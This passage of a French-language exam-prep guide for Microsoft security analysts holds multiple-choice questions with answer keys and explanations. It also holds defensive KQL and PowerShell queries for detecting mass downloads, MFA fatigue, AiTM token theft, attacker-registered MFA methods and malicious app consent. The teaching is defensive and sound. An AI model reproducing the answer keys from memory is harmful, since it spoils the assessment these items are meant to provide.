Les trois piliers de MDCA : découverte (Cloud Discovery), protection via API (connecteurs), contrôle en temps réel (proxy de session). L'activité Microsoft 365 collectée alimente aussi la table **CloudAppEvents** de la chasse avancée.

**Point à retenir pour l'examen :** Connecteur API = visibilité + gouvernance a posteriori ; proxy de session = contrôle en temps réel ; Cloud Discovery = Shadow IT.

**Référence officielle**

- Vue d'ensemble de Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/what-is-defender-for-cloud-apps

## Question n° 156 — Chasse dans CloudAppEvents

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Vous voulez identifier les comptes qui ont téléchargé plus de 500 fichiers SharePoint ou OneDrive en une heure. Quelle requête de chasse avancée est la plus adaptée ?

**A.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType == "FileDownloaded"
| summarize count() by DeviceName
```

**B.**

REQUÊTE KQL

```
EmailAttachmentInfo
| where Timestamp > ago(1d)
| summarize count() by RecipientEmailAddress
```

**C.**

REQUÊTE KQL

```
CloudAppEvents
| where Timestamp > ago(1d)
| where ActionType == "FileDownloaded"
| summarize Fichiers = count() by AccountDisplayName, AccountObjectId, IPAddress, bin(Timestamp,
1h)
| where Fichiers > 500
| order by Fichiers desc
```

**D.**

REQUÊTE KQL

```
CloudAppEvents
| where Timestamp > ago(1d)
| summarize count() by Application
```

**Bonne réponse : C**

### Correction détaillée

**CloudAppEvents** contient les activités des applications cloud surveillées (Microsoft 365 et applications connectées) : `ActionType` (par exemple FileDownloaded, FileAccessed, MailItemsAccessed…), `Application`, `AccountObjectId`, `IPAddress`, `CountryCode`, `RawEventData`.

### Analyse des réponses incorrectes

- **A.** DeviceFileEvents ne connaît pas l'ActionType « FileDownloaded » de SharePoint ; ses actions sont FileCreated, FileModified, FileRenamed, FileDeleted.
- **B.** Concerne les pièces jointes d'e-mails.
- **D.** Compte toutes les activités par application, sans isoler les téléchargements ni les comptes.

### Explication technique

Le téléchargement massif (T1530 / exfiltration) est aussi détecté par l'anomalie MDCA « Mass download ». Enrichissez avec IdentityInfo (département, poste) et vérifiez si l'utilisateur est sur le départ (indicateur Insider Risk).

### Résultat attendu

Une ligne par compte, IP et heure dépassant 500 téléchargements.

**Point à retenir pour l'examen :** Activités SaaS/Microsoft 365 en chasse avancée = CloudAppEvents (ActionType, Application, AccountObjectId).

### Référence officielle

- CloudAppEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-cloudappevents-table

## 2.8 Microsoft Entra ID : identités compromises

### Question n° 157 — Risque utilisateur et risque de connexion

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Dans Microsoft Entra ID Protection, quelle détection relève du risque utilisateur (user risk) plutôt que du risque de connexion (sign-in risk) ?

**A.** Un voyage atypique (Atypical travel).

**B.** Des propriétés de connexion inhabituelles (Unfamiliar sign-in properties).

**C.** Une connexion depuis une adresse IP anonyme.

**D.** Des identifiants divulgués (Leaked credentials) retrouvés sur le dark web.

**Bonne réponse : D**

**Correction détaillée**

Le **risque utilisateur** représente la probabilité que l'**identité** soit compromise (identifiants divulgués, activité utilisateur anormale, renseignement sur les menaces Microsoft au niveau utilisateur). Le **risque de connexion** représente la probabilité qu'une **authentification** donnée ne soit pas le fait du propriétaire (IP anonyme, propriétés inhabituelles, voyage atypique, IP malveillante, pulvérisation de mots de passe...).

**Analyse des réponses incorrectes**

- **A.** Risque de connexion.
- **B.** Risque de connexion, évalué en temps réel.
- **C.** C'est une détection de risque de connexion.

**Explication technique**

Les détections sont **en temps réel** ou **hors ligne**. Les tables Sentinel : **AADUserRiskEvents** (détections), **AADRiskyUsers**, et les colonnes de risque de SigninLogs (`RiskLevelDuringSignIn`, `RiskEventTypes_V2`). ID Protection requiert Microsoft Entra ID P2 pour l'ensemble des fonctionnalités.

**Point à retenir pour l'examen :** Identifiants divulgués = risque utilisateur ; IP anonyme / propriétés inhabituelles / voyage atypique = risque de connexion.

**Référence officielle**

- Que sont les détections de risques ? — https://learn.microsoft.com/fr-fr/entra/id-protection/concept-identity-protection-risks

## Question n° 158 — Stratégies basées sur le risque

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez exiger l'authentification multifacteur pour les connexions à risque moyen ou élevé, et un changement de mot de passe sécurisé pour les utilisateurs à risque élevé. Quelle configuration est recommandée ?

**A.** Une règle d'automatisation Sentinel qui réinitialise tous les mots de passe chaque nuit.

**B.** Deux stratégies d'accès conditionnel : l'une avec la condition « risque de connexion moyen et élevé » et le contrôle « Exiger l'authentification multifacteur », l'autre avec « risque utilisateur élevé » et « Exiger la modification du mot de passe » (avec MFA).

**C.** Une seule stratégie bloquant toutes les connexions des utilisateurs à risque faible.

**D.** Une règle ASR.

**Bonne réponse : B**

**Correction détaillée**

Microsoft recommande de configurer les stratégies basées sur le risque dans l'**accès conditionnel** : **risque de connexion** → MFA ; **risque utilisateur** → **modification sécurisée du mot de passe** (qui exige une MFA préalable). La remédiation par l'utilisateur fait baisser automatiquement le risque.

**Analyse des réponses incorrectes**

- **A.** Disproportionné et sans lien avec le risque.
- **C.** Trop restrictif et ne répond pas au besoin exprimé.
- **D.** Les règles ASR ne s'appliquent pas aux identités cloud.

**Explication technique**

Prérequis : licences Entra ID P2, utilisateurs inscrits à la MFA et à la réinitialisation en libre-service. Exclure les comptes d'urgence (break-glass). L'auto-remédiation réduit la charge du SOC.

**Point à retenir pour l'examen :** Risque de connexion → MFA ; risque utilisateur → changement de mot de passe sécurisé ; via l'accès conditionnel.

**Référence officielle**

- Stratégies d'accès basées sur les risques — https://learn.microsoft.com/fr-fr/entra/id-protection/concept-identity-protection-policies
- Qu'est-ce que l'accès conditionnel ? — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/overview

## Question n° 159 — Révoquer les sessions d'un utilisateur

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après la réinitialisation du mot de passe d'un utilisateur compromis, l'attaquant semble toujours accéder à sa boîte aux lettres pendant quelques minutes. Pourquoi, et quelle action limite ce délai ?

**A.** La réinitialisation du mot de passe ne prend effet qu'après 24 heures.

**B.** L'attaquant utilise toujours l'ancien mot de passe, qui reste valide une semaine.

**C.** Les jetons d'accès déjà émis restent valides jusqu'à leur expiration ; il faut révoquer les sessions (jetons d'actualisation), et l'évaluation continue de l'accès (CAE) permet aux applications compatibles de rejeter rapidement les jetons après ces événements critiques.

**D.** Exchange Online ne prend pas en charge Microsoft Entra ID.

**Bonne réponse : C**

**Correction détaillée**

**Révoquer les sessions** (Revoke-MgUserSignInSession / bouton du centre d'administration) invalide les **jetons d'actualisation** ; les **jetons d'accès** déjà émis restent valides jusqu'à leur expiration (environ 1 heure par défaut). Avec la **CAE**, Exchange Online, SharePoint Online et Teams sont informés d'événements critiques (désactivation, changement de mot de passe, révocation) et rejettent les jetons quasi immédiatement.

**Analyse des réponses incorrectes**

- **A.** Le nouveau mot de passe est effectif immédiatement ; c'est la validité des jetons qui pose problème.
- **B.** Faux : l'ancien mot de passe n'est plus accepté.
- **D.** Faux.

**Explication technique**

Procédure complète : désactiver ou réinitialiser le compte, révoquer les sessions, vérifier/retirer les méthodes MFA et les appareils enregistrés par l'attaquant, examiner les consentements OAuth et les règles de boîte aux lettres.

**Point à retenir pour l'examen :** Jeton d'accès valide jusqu'à expiration → révoquer les sessions ; CAE accélère la prise en compte dans les services compatibles.

**Référence officielle**

- Révoquer les accès utilisateur dans Microsoft Entra ID — https://learn.microsoft.com/fr-fr/entra/identity/users/users-revoke-access
- Évaluation de l'accès continu — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/concept-continuous-access-evaluation

## Question n° 160 — Fatigue MFA

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un utilisateur signale avoir reçu des dizaines de notifications MFA non sollicitées pendant la nuit, puis en avoir accepté une par erreur. Quelle requête Sentinel aide à repérer ce schéma pour d'autres utilisateurs ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0"
| summarize count() by AppDisplayName
```

**B.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4625
| summarize count() by TargetUserName
```

**C.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName == "Add member to group"
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "500121"
| summarize Refus = count(), IPs = make_set(IPAddress, 10) by UserPrincipalName,
bin(TimeGenerated, 1h)
| where Refus > 10
```

**Bonne réponse : D**

### Correction détaillée

Le code **500121** (« Authentication failed during strong authentication request ») apparaît lorsque la demande de MFA échoue ou est refusée. Un grand nombre de ces échecs sur une courte période pour un même utilisateur, suivi d'un succès, caractérise une attaque de **fatigue MFA** (T1621 – Multi-Factor Authentication Request Generation).

### Analyse des réponses incorrectes

- **A.** Compte les connexions réussies par application, sans lien avec des refus MFA répétés.
- **B.** Échecs d'ouverture de session Windows, pas les sollicitations MFA cloud.
- **C.** Opérations d'administration sur les groupes, sans rapport avec la MFA.

### Explication technique

Dans SigninLogs, **ResultType** est une **chaîne** (« 0 » = succès). Mitigations : correspondance de nombres (number matching) et contexte géographique dans Authenticator, MFA résistante à l'hameçonnage (FIDO2, Windows Hello), stratégies de risque. Vérifier ensuite si un succès a suivi : `where ResultType == "0"` pour le même utilisateur et la même IP.

### Résultat attendu

Une ligne par utilisateur et par heure où plus de 10 échecs MFA ont été enregistrés, avec jusqu'à 10 IP sources.

**Hypothèses liées au schéma de données**

Codes d'erreur Entra documentés dans « Codes d'erreur d'authentification et d'autorisation Microsoft Entra ». La table SigninLogs nécessite le connecteur Microsoft Entra ID (journaux de connexion).

**Point à retenir pour l'examen :** Fatigue MFA = rafales de ResultType "500121" puis succès ; parade : number matching, MFA résistante à l'hameçonnage.

**Référence officielle**

- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs
- Codes d'erreur d'authentification et d'autorisation Microsoft Entra — https://learn.microsoft.com/fr-fr/entra/identity-platform/reference-error-codes

## Question n° 161 — Connexions non interactives

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un analyste ne trouve pas dans SigninLogs les connexions effectuées par un client de messagerie qui renouvelle ses jetons en arrière-plan avec un jeton d'actualisation volé. Où ces activités sont-elles enregistrées ?

**A.** Dans AADNonInteractiveUserSignInLogs (connexions utilisateur non interactives).

**B.** Dans Heartbeat.

**C.** Dans AADServicePrincipalSignInLogs.

**D.** Dans AzureActivity.

**Bonne réponse : A**

**Correction détaillée**

Les connexions **non interactives** (renouvellement de jetons par un client au nom de l'utilisateur, SSO en arrière-plan) sont dans **AADNonInteractiveUserSignInLogs**. SigninLogs ne contient que les connexions **interactives**.

**Analyse des réponses incorrectes**

- **B.** Disponibilité des agents.
- **C.** Cette table concerne les principaux de service (applications), pas les utilisateurs.
- **D.** Plan de contrôle Azure.

**Explication technique**

Les autres catégories : **AADServicePrincipalSignInLogs** (applications), **AADManagedIdentitySignInLogs** (identités managées), **AADProvisioningLogs**. Pour une investigation complète d'un vol de jeton, il faut unir SigninLogs et AADNonInteractiveUserSignInLogs (volumineuse : coût à anticiper).

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
union SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(2d)
| where UserPrincipalName =~ "a.martin@contoso.com"
| summarize Connexions = count() by IPAddress, AppDisplayName, Type
```

**Point à retenir pour l'examen :** Renouvellement de jetons en arrière-plan = AADNonInteractiveUserSignInLogs ; applications = AADServicePrincipalSignInLogs.

**Référence officielle**

- AADNonInteractiveUserSignInLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/aadnoninteractiveusersigninlogs

- Que sont les journaux de connexion Microsoft Entra ? — https://learn.microsoft.com/fr-fr/entra/identity/monitoring-health/concept-sign-ins

## Question n° 162 — Confirmer ou rejeter le risque

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après enquête, un analyste conclut qu'un utilisateur signalé « à risque élevé » a bien été compromis. Quelle action effectuer dans Entra ID Protection pour que les modèles de détection en tirent parti et que les stratégies de risque s'appliquent ?

**A.** Supprimer l'historique des connexions.

**B.** « Confirmer l'utilisateur compromis » (Confirm user compromised).

**C.** Ajouter l'utilisateur à une watchlist sans autre action.

**D.** « Ignorer le risque utilisateur » (Dismiss user risk).

**Bonne réponse : B**

### Correction détaillée

**Confirm user compromised** fixe le risque utilisateur à **élevé** et alimente l'apprentissage des modèles ; **Dismiss user risk** abaisse le risque en cas de faux positif. Pour les connexions, on peut aussi confirmer une connexion compromise ou sûre.

### Analyse des réponses incorrectes

- **A.** Impossible et contraire à la conservation des preuves.
- **C.** Une watchlist n'informe pas Entra ID Protection.
- **D.** À utiliser lorsque le risque est un faux positif.

### Explication technique

Remédiations : réinitialisation sécurisée du mot de passe, révocation des sessions, blocage temporaire. Le risque peut aussi être remédié automatiquement par l'utilisateur via les stratégies d'accès conditionnel. Les comptes hybrides nécessitent la réécriture du mot de passe pour la remédiation en libre-service.

**Point à retenir pour l'examen :** Compromis avéré = Confirm user compromised ; faux positif = Dismiss user risk.

### Référence officielle

- Comment examiner les risques — https://learn.microsoft.com/fr-fr/entra/id-protection/howto-identity-protection-investigate-risk
- Atténuer les risques et débloquer les utilisateurs — https://learn.microsoft.com/fr-fr/entra/id-protection/howto-identity-protection-remediate-unblock

## Question n° 163 — Adversary-in-the-middle et vol de jeton

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une campagne d'hameçonnage de type adversary-in-the-middle (AiTM) a permis de voler des cookies de session malgré la MFA. Quelle mesure préventive réduit le plus efficacement ce risque à l'avenir ?

**A.** Augmenter la longueur minimale des mots de passe.

**B.** Désactiver les liens sécurisés.

**C.** Utiliser uniquement des SMS comme second facteur.

**D.** Exiger une méthode d'authentification résistante à l'hameçonnage (FIDO2, Windows Hello for Business, authentification par certificat) et des appareils conformes/gérés via l'accès conditionnel.

**Bonne réponse : D**

### Correction détaillée

Les attaques **AiTM** (T1557, T1539) relaient l'authentification via un proxy et volent le **cookie de session** après la MFA. Seules les méthodes **résistantes à l'hameçonnage** (liées à l'origine, comme FIDO2 / passkeys) empêchent le relais ; l'exigence d'un **appareil conforme** et la **protection des jetons** limitent la réutilisation du cookie volé.

### Analyse des réponses incorrectes

- **A.** Le mot de passe est relayé en temps réel par le proxy AiTM ; sa longueur ne protège pas.
- **B.** Contre-productif.
- **C.** Les codes SMS sont relayés par le proxy AiTM au même titre que le mot de passe.

### Explication technique

Détection : risques Entra « Anomalous token », « Attacker in the Middle », « Token issuer anomaly » ; alertes Defender XDR AiTM ; l'interruption automatique d'attaque couvre certains scénarios AiTM (désactivation de l'utilisateur). Réponse : révoquer les sessions, réinitialiser les identifiants, vérifier les règles de boîte aux lettres et les méthodes MFA ajoutées.

**Point à retenir pour l'examen :** AiTM contourne la MFA classique ; parade = MFA résistante à l'hameçonnage + appareil conforme / protection des jetons.

### Référence officielle

- Que sont les détections de risques ? — https://learn.microsoft.com/fr-fr/entra/id-protection/concept-identity-protection-risks
- Qu'est-ce que l'accès conditionnel ? — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/overview

## Question n° 164 — Consentement d'application dans les journaux d'audit

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez lister les consentements accordés à des applications au cours des 7 derniers jours, avec l'utilisateur et le nom de l'application. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName == "Consent to application"
| extend Utilisateur = tostring(InitiatedBy.user.userPrincipalName)
| extend Application = tostring(TargetResources[0].displayName)
| project TimeGenerated, Utilisateur, Application, Result
```

**B.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName == "Consent to application"
| summarize count() by InitiatedBy
```

**C.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(7d)
| where Operation == "Consent to application"
| project TimeGenerated, UserId
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where OperationName == "Consent to application"
```

**Bonne réponse : A**

**Correction détaillée**

**AuditLogs** enregistre les opérations d'annuaire Microsoft Entra, dont **« Consent to application »**. Les colonnes **InitiatedBy** et **TargetResources** sont **dynamiques** : on extrait les valeurs avec la notation pointée/indexée et `tostring()`.

**Analyse des réponses incorrectes**

- **B.** InitiatedBy est de type dynamique : il ne peut pas servir de clé de regroupement sans conversion (`tostring`).
- **C.** Les consentements d'applications Entra ID ne sont pas dans OfficeActivity (audit Microsoft 365 des charges de travail).
- **D.** Les consentements sont des opérations d'annuaire enregistrées dans AuditLogs, pas des connexions.

**Explication technique**

Les détails des autorisations accordées figurent dans `TargetResources[0].modifiedProperties`. À corréler avec Defender for Cloud Apps (gouvernance des applications) et MicrosoftGraphActivityLogs pour voir ce que l'application a fait ensuite.

**Résultat attendu**

Liste horodatée des consentements avec l'utilisateur et l'application concernée.

**Point à retenir pour l'examen :** Consentements d'applications = AuditLogs « Consent to application » ; champs dynamiques → `tostring()`.

**Référence officielle**

- Journaux d'audit — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/auditlogs
- Gestion du consentement aux applications et évaluation des demandes de consentement — https://learn.microsoft.com/fr-fr/entra/identity/enterprise-apps/manage-consent-requests

## Question n° 165 — Ajout de méthode MFA par un attaquant

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après une compromission, vous soupçonnez que l'attaquant a enregistré son propre téléphone comme méthode MFA pour garder l'accès. Quelle source de données et quelle opération examiner ?

**A.** DeviceProcessEvents, processus « mfa.exe ».

**B.** AuditLogs, opérations d'enregistrement d'informations de sécurité (par exemple « User registered security info » ou « User changed default security info »), filtrées sur l'utilisateur et la période.

**C.** Syslog, facilité auth.

**D.** Heartbeat.

**Bonne réponse : B**

**Correction détaillée**

Les modifications de méthodes d'authentification sont tracées dans les **journaux d'audit Entra** (**AuditLogs**, catégorie UserManagement / service Authentication Methods), avec l'IP et l'agent utilisateur dans `InitiatedBy` et `AdditionalDetails`.

### Analyse des réponses incorrectes

- **A.** Il n'existe pas de tel processus ; l'enregistrement MFA est une opération cloud.
- **C.** Concerne des systèmes Linux.
- **D.** Disponibilité des agents.

### Explication technique

Technique **T1098.005** (Device Registration) / persistance par ajout de méthode. Remédiation : supprimer la méthode, exiger une nouvelle inscription sous contrôle (TAP – Temporary Access Pass), révoquer les sessions. Une stratégie d'accès conditionnel peut restreindre l'inscription des informations de sécurité à des emplacements/appareils de confiance.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
AuditLogs
| where TimeGenerated > ago(14d)
| where OperationName has "security info"
| extend Utilisateur = tostring(TargetResources[0].userPrincipalName)
| extend IP = tostring(InitiatedBy.user.ipAddress)
| project TimeGenerated, OperationName, Utilisateur, IP, Result
```

**Point à retenir pour l'examen :** Méthode MFA ajoutée par l'attaquant = AuditLogs (security info) ; restreindre l'inscription par accès conditionnel.

### Référence officielle

- Journaux d'audit — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/auditlogs
- Que sont les journaux d'audit Microsoft Entra ? — https://learn.microsoft.com/fr-fr/entra/identity/monitoring-health/concept-audit-logs

## Question n° 166 — Comptes d'urgence et stratégies de risque

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Lors du déploiement de stratégies d'accès conditionnel bloquant les connexions à risque élevé, quelle précaution est indispensable ?

**A.** Appliquer les stratégies directement en mode « Activé » sans test.

**B.** Inclure les comptes d'urgence dans toutes les stratégies pour plus de sécurité.

**C.** Exclure les comptes d'accès d'urgence (break-glass) des stratégies et surveiller leur utilisation par des alertes dédiées.

**D.** Désactiver la journalisation des connexions pour les administrateurs.

**Bonne réponse : C**

### Correction détaillée

Microsoft recommande de conserver au moins deux **comptes d'accès d'urgence**, **exclus** des stratégies d'accès conditionnel, dotés d'identifiants forts et dont l'utilisation déclenche une **alerte** (par exemple une règle Sentinel sur SigninLogs).

### Analyse des réponses incorrectes

- **A.** Le mode « Rapport uniquement » doit d'abord être utilisé pour évaluer l'impact.
- **B.** Risque de verrouillage complet du locataire en cas de mauvaise configuration.
- **D.** Supprimerait la traçabilité.

### Explication technique

Déployer les nouvelles stratégies en mode **Rapport uniquement** (report-only), analyser l'impact (classeur « Conditional Access insights »), puis activer.

**Point à retenir pour l'examen :** Exclure et surveiller les comptes break-glass ; tester les stratégies en mode Rapport uniquement.

**Référence officielle**

- Qu'est-ce que l'accès conditionnel ? — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/overview

## 2.9 Microsoft Purview, journaux Microsoft Graph et activités Microsoft 365

### Question n° 167 — Rechercher dans le journal d'audit Purview

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Sans Sentinel, un analyste doit savoir quels fichiers SharePoint un utilisateur a téléchargés la semaine dernière et depuis quelles adresses IP. Quel outil utiliser ?

**A.** Le rapport de filtrage web de MDE.

**B.** La recherche de contenu eDiscovery.

**C.** Les détections en temps réel MDO.

**D.** La recherche dans le journal d'audit de Microsoft Purview (Audit), filtrée sur l'utilisateur, la période et l'activité « Fichier téléchargé ».

**Bonne réponse : D**

**Correction détaillée**

**Purview Audit** centralise les activités utilisateurs et administrateurs de Microsoft 365 (SharePoint, OneDrive, Exchange, Teams, Entra ID…). La recherche permet de filtrer par **dates**, **activités**, **utilisateurs**, **fichiers/sites**, et d'**exporter** les résultats (CSV).

**Analyse des réponses incorrectes**

- **A.** Concerne la navigation des postes.
- **B.** Elle recherche du contenu (e-mails, documents), pas des journaux d'activité.
- **C.** Concernent les e-mails.

**Explication technique**

**Audit (Standard)** : conservation de 180 jours. **Audit (Premium)** : conservation d'un an par défaut (jusqu'à 10 ans avec un module complémentaire), événements à forte valeur supplémentaires et bande passante d'accès API plus élevée. PowerShell `Search-UnifiedAuditLog` offre une alternative scriptable. Le référentiel cite « Examiner les menaces à l'aide de Microsoft Purview Audit ».

**Point à retenir pour l'examen :** Activités Microsoft 365 (qui a fait quoi, quand, d'où) = Purview Audit (Standard 180 jours, Premium 1 an+).

**Référence officielle**

- Effectuer une recherche dans le journal d'audit — https://learn.microsoft.com/fr-fr/purview/audit-search
- En savoir plus sur les solutions d'audit dans Microsoft Purview — https://learn.microsoft.com/fr-fr/purview/audit-solutions-overview

### Question n° 168 — MailItemsAccessed

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Lors d'une compromission de messagerie, vous devez déterminer quels e-mails l'attaquant a effectivement lus (synchronisation ou accès par lien). Quel événement d'audit est conçu pour cela ?

**A.** FileDownloaded.

**B.** MailItemsAccessed.

**C.** UserLoggedIn.

**D.** New-InboxRule.

**Bonne réponse : B**

**Correction détaillée**

**MailItemsAccessed** enregistre l'accès aux messages par les protocoles de messagerie et clients (accès « Bind » à un élément précis, ou « Sync » pour une synchronisation de dossier). Il permet d'évaluer l'étendue d'une violation de données dans une boîte compromise.

**Analyse des réponses incorrectes**

- **A.** Téléchargement de fichiers SharePoint/OneDrive.
- **C.** Connexion, sans détail des messages consultés.
- **D.** Création de règle de boîte de réception.

**Explication technique**

Historiquement réservé à Audit (Premium), cet événement a été étendu à davantage de clients (Audit Standard) selon l'évolution annoncée par Microsoft : vérifiez la disponibilité dans votre locataire. Les événements peuvent être agrégés (throttling) en cas de volume élevé ; interpréter les champs `OperationProperties` (MailAccessType) et `SessionId`.

**Point à retenir pour l'examen :** Quels e-mails l'attaquant a-t-il lus ? = MailItemsAccessed (Bind/Sync), dans Purview Audit / CloudAppEvents.

**Référence officielle**

- En savoir plus sur les solutions d'audit dans Microsoft Purview — https://learn.microsoft.com/fr-fr/purview/audit-solutions-overview

## Question n° 169 — Purger des e-mails avec la recherche de contenu

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une organisation sans Defender for Office 365 Plan 2 doit supprimer de toutes les boîtes un e-mail malveillant déjà distribué. Quelle méthode utiliser ?

**A.** Supprimer les boîtes aux lettres des destinataires.

**B.** Activer une règle ASR.

**C.** Créer une recherche de contenu Microsoft Purview (eDiscovery) ciblant le message (expéditeur, objet, date), puis lancer une action de purge (`New-ComplianceSearchAction -Purge`) en suppression réversible ou définitive.

**D.** Utiliser Threat Explorer.

**Bonne réponse : C**

**Correction détaillée**

La **recherche de contenu** (eDiscovery) identifie les messages ; la cmdlet **`New-ComplianceSearchAction -Purge -PurgeType SoftDelete|HardDelete`** les supprime. Cette méthode est disponible sans MDO P2, avec des limites (nombre d'éléments supprimés par boîte et par action).

**Analyse des réponses incorrectes**

- **A.** Destructeur.
- **B.** Sans rapport avec Exchange Online.

- **D.** Threat Explorer nécessite MDO Plan 2.

**Explication technique**

Rôles requis : gestionnaire eDiscovery pour la recherche, et le rôle Search And Purge pour la suppression. Le référentiel cite « Examiner les menaces à l'aide de la recherche de contenu dans Microsoft Purview eDiscovery ». Avec MDO P2, Threat Explorer offre une remédiation plus simple et tracée dans le Centre de notifications.

**Exemple pratique**

POWERSHELL

```
New-ComplianceSearch -Name "Phish-2026-10" -ExchangeLocation All -ContentMatchQuery
'from:"facture@contoso-billing.co" AND subject:"Facture impayée"'
Start-ComplianceSearch -Identity "Phish-2026-10"
New-ComplianceSearchAction -SearchName "Phish-2026-10" -Purge -PurgeType SoftDelete
```

**Point à retenir pour l'examen :** Sans MDO P2 : recherche de contenu Purview + `New-ComplianceSearchAction -Purge`.

**Référence officielle**

- Prise en main de la recherche de contenu — https://learn.microsoft.com/fr-fr/purview/ediscovery-content-search
- En savoir plus sur eDiscovery — https://learn.microsoft.com/fr-fr/purview/edisc

## Question n° 170 — Journaux d'activité Microsoft Graph

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une application malveillante ayant obtenu des autorisations Mail.Read est soupçonnée d'avoir lu des boîtes aux lettres via l'API Microsoft Graph. Quelle source de données permet de voir les requêtes HTTP effectuées vers Graph par cette application ?

**A.** Les journaux d'activité Microsoft Graph (table MicrosoftGraphActivityLogs), envoyés vers Log Analytics par paramètres de diagnostic Entra ID.

**B.** La table Syslog.

**C.** La table Heartbeat.

**D.** La table DeviceNetworkEvents.

**Bonne réponse : A**

**Correction détaillée**

Les **journaux d'activité Microsoft Graph** enregistrent les **requêtes HTTP** adressées à Graph (URI, méthode, code de réponse, IP, identifiants de l'application et de l'utilisateur, rôles/étendues du jeton). Ils permettent d'investiguer ce qu'une application ou un compte compromis a fait via l'API.

**Analyse des réponses incorrectes**

- **B.** Journaux Linux.
- **C.** Disponibilité des agents.
- **D.** Les appels proviennent d'un service cloud, pas d'un appareil géré.

**Explication technique**

Activation via les **paramètres de diagnostic** de Microsoft Entra ID vers un espace Log Analytics (licence Entra ID P1/P2 requise). En chasse avancée Defender XDR, la table **GraphApiAuditEvents** fournit des informations similaires. Le référentiel cite « Enquêter sur les menaces en utilisant les journaux d'activité de Microsoft Graph ».

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(7d)
| where AppId == "5f3c2a1b-9d8e-4c7f-a6b5-0e1d2c3b4a59"
| where RequestUri has "/messages"
| summarize Requetes = count(), Utilisateurs = dcount(UserId) by IPAddress, RequestMethod,
ResponseStatusCode
```

**Point à retenir pour l'examen :** Ce qu'une app/compte a fait via l'API Graph = MicrosoftGraphActivityLogs (ou GraphApiAuditEvents en chasse avancée).

**Référence officielle**

- Accéder aux journaux d'activité Microsoft Graph — https://learn.microsoft.com/fr-fr/graph/microsoft-graph-activity-logs-overview
- MicrosoftGraphActivityLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/microsoftgraphactivitylogs

## Question n° 171 — Alertes DLP de Microsoft Purview

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

